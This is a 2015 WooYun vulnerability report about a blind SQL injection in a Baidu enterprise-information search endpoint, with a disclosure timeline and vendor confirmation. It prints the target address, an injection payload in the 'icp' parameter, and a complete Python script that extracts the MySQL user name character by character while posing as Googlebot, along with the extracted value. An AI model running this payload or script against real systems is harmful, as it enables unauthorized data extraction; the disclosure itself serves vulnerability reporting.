当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129579

漏洞标题:百度某搜索功能MySQL注射(附验证脚本)

相关厂商:百度

漏洞作者: lijiejie

提交时间:2015-07-27 07:56

修复时间:2015-09-10 11:04

公开时间:2015-09-10 11:04

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-27: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

百度某搜索功能MySQL注射(附验证脚本)

详细说明:

注入点(百度企业信息搜索):

Post http://123.125.115.42/icbcrawl/icp/icpInfo.action
icp={"appid":"test","domain":"a%' AND length(user())=35 AND '123'!='123%","name":"","prov_id":12,"website_name":""}


参数icp可以注入。

漏洞证明:

为了防止SQLmap把服务打挂,直接上猜解脚本。
猜解user(),得到:

[Done] MySQL user is crm@cp01rdsfcrm002.cp01.baidu.com


baidu.png


python脚本:

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'Googlebot/2.1 (+http://www.googlebot.com/bot.html)',}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print '[%s] Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1, 36):
for payload in payloads:
s = 'ascii(mid(user()from(%s)for(1)))=%s' % (i, ord(payload))
s = '''{"appid":"test","domain":"a%' AND ''' + s + ''' AND '123'!='123%","name":"","prov_id":12,"website_name":""}'''
s = 'icp=%s' % urllib.quote(s)
conn = httplib.HTTPConnection('123.125.115.42', timeout=30)
conn.request(method='POST', url='/icbcrawl/icp/icpInfo.action', body=s, headers=headers)
start_time = time.time()
html_doc = conn.getresponse().read()
conn.close()
print '.',
if len(html_doc) > 10:
user += payload
print '\n[in progress]', user,
break

print '\n[Done] MySQL user is %s' % user

修复方案:

参数过滤,转义

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-07-27 11:03

厂商回复:

感谢

最新状态:

暂无